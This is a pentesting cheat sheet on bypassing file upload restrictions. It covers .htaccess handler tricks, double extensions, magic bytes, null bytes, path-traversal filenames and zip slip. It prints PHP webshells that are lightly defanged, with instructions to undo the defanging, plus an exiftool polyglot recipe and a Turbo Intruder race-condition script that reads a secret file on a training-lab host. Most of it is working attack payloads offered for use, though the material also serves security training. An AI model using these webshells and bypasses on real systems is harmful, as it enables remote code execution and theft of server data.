File Upload Attacks

.access mime type technique

https://www.youtube.com/watch?v=xZd1JWmLGLk

If you have file upload, but php files are disallowed, then try this technique. It can make apache interpret arbitrary files as php codes with the usage of uploading a .access file to potentially change configuration settings on server side.

echo ‘AddType application/x-httpd-php.cth’ > .htaccess

then upload file to server then grab a php webshell and call it anyname.cth and this could potentially allow your php code now to execute!

File upload

https://infosecwriteups.com/bypass-server-upload-restrictions-69054c5e1be4 https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/web-application/file-upload-bypass

Note: Windows Defender Antivirus (AV) triggers on .md (Markdown) files, often flagging them as potential threats. As a result, the commands provided below have been defanged to avoid false positives. Kindly remove the p_h_p and c_m_d before executing them.

Bypass restrictions:

Some of my favorites so far is:

DEFANGED SAMPLE

Note:

🐺 howlsec@kalicode

copy

01File: cmd.p_h_p
02GIF89a;<?p_h_p system($[_]REQUEST['c_m_d']); ?>
03Polyglot webshell disguised as GIF image

Double extensions (sometimes the webserver only reads the first extension, but actually the latter is what's being exectuted)

Note: rev_sh_ell.j_p_g.p_h_p

Use uncommon extension variations of a certain extension + Mixing uppercase and lowercase method:

Note: Extension examples to use: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md#defaults-extensions

Magic bytes: You can replace(or sometimes just add at the start of file) the first bytes in a file using hexeditor to a file extension that is accepted in the web application you want to bypass. So in practice sometimes you could upload php reverse shell and then exectute it later, but the web application read it as a .png, .gif, or .jpg for instance. These are common ones to be accepted.

You could try something like:

Note:

🐺 howlsec@kalicode

copy

01../../../rev.p_h_p
02../../../../var/www/html/rev.p_h_p
03../../../../var/www/html/rev.p_h_p%00.p_n_g

nullbyte

Nullbyte method:

filename="exploit.php%00.jpg"

Other defenses involve stripping or replacing dangerous extensions to prevent the file from being executed. If this transformation isn't applied recursively, you can position the prohibited string in such a way that removing it still leaves behind a valid file extension. For example, consider what happens if you strip .php from the following filename:

exploit.p``.php``hp

Polyglot web shell

Note: Windows Defender Antivirus (AV) triggers on .md (Markdown) files, often flagging them as potential threats. As a result, the commands provided below have been defanged to avoid false positives. Kindly remove the p_h_p and c_m_d before executing them.

A polyglot PHP/JPG file that is fundamentally a normal image, but contains your PHP payload in its metadata. A simple way of doing this is to download and run ExifTool from the command line as follows:

exiftool -Comment='<?p_h_p echo "<pre>"; system($_GET['c_m_d']); ?>' /home/kali/Downloads/door.jpg -o polyglot.p_h_p

Race condition

In this lab the php script saves stores the file before it checks extension and then deletes it. If we send a request just milliseconds before it gets check and delted, we can retrieve and execute the file in its php extension. This technique is exploiting a race condition weakness in the code.

We will be using turbo intruder to achieve this. Few tools can be fast enough. Here we are reading the /home/carlos/secret through php file_get_contents

Turbo Intruder code

I started off using the test.py module.

01# This is just for making sure the engine works during development
02# Launch with java -jar build/libs/turbo-intruder-all.jar resources/examples/test.py /dev/null z z
03def queueRequests(target, wordlists):
04    engine = RequestEngine(endpoint='https://0ab300540400b7ebc016c718006200a4.web-security-academy.net:443',
05                           concurrentConnections=2,
06                           requestsPerConnection=10,
07                           pipeline=False
08                           )
09 
10    noPayload = '''POST /my-account/avatar HTTP/2
11Host: 0ab300540400b7ebc016c718006200a4.web-security-academy.net
12Cookie: session=o5g8B4eroNhmwV0Knwvn36O47HQtUcrU
13User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
14Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
15Accept-Language: en-US,en;q=0.5
16Accept-Encoding: gzip, deflate
17Content-Type: multipart/form-data; boundary=---------------------------69542980738213777741386124383
18Content-Length: 533
19Origin: https://0ab300540400b7ebc016c718006200a4.web-security-academy.net
20Referer: https://0ab300540400b7ebc016c718006200a4.web-security-academy.net/my-account
21Upgrade-Insecure-Requests: 1
22Sec-Fetch-Dest: document
23Sec-Fetch-Mode: navigate
24Sec-Fetch-Site: same-origin
25Sec-Fetch-User: ?1
26Te: trailers
27 
28-----------------------------69542980738213777741386124383
29Content-Disposition: form-data; name="avatar"; filename="2.php"
30Content-Type: image/jpeg
31 
32 
33<?php echo file_get_contents('/home/carlos/secret'); ?>
34-----------------------------69542980738213777741386124383
35Content-Disposition: form-data; name="user"
36 
37wiener
38-----------------------------69542980738213777741386124383
39Content-Disposition: form-data; name="csrf"
40 
41DBT35uWFYFIko3I8funzWmmyBNDjQYvW
42-----------------------------69542980738213777741386124383--
43 
44'''
45    engine.queue(noPayload)
46 
47    onePayload = '''GET /files/avatars/2.php HTTP/2
48Host: 0ab300540400b7ebc016c718006200a4.web-security-academy.net
49Cookie: session=o5g8B4eroNhmwV0Knwvn36O47HQtUcrU
50User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
51Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
52Accept-Language: en-US,en;q=0.5
53Accept-Encoding: gzip, deflate
54Upgrade-Insecure-Requests: 1
55Sec-Fetch-Dest: document
56Sec-Fetch-Mode: navigate
57Sec-Fetch-Site: none
58Sec-Fetch-User: ?1
59Te: trailers
60 
61 
62 
63'''
64    engine.queue(onePayload)
65 
66 
67def handleResponse(req, interesting):
68    table.add(req)

zip slip

zip slip attack:

Note: Windows Defender Antivirus (AV) triggers on .md (Markdown) files, often flagging them as potential threats. As a result, the commands provided below have been defanged to avoid false positives. Kindly remove the _ before executing them.

https://youtu.be/kE36IGAU5rg?t=1108

Note:

🐺 howlsec@kalicode

copy

01cd /var/www/html
02gedit webshell.p_h_p

Note:

🐺 howlsec@kalicode

copy

01<?p_h_p system($_REQUEST['c_m_d']); ?>

Note:

🐺 howlsec@kalicode

copy

01zip zipslip.z_i_p ../../../../../../../../var/www/html/web_sh_ell.p_h_p
027z l zipslip.z_i_p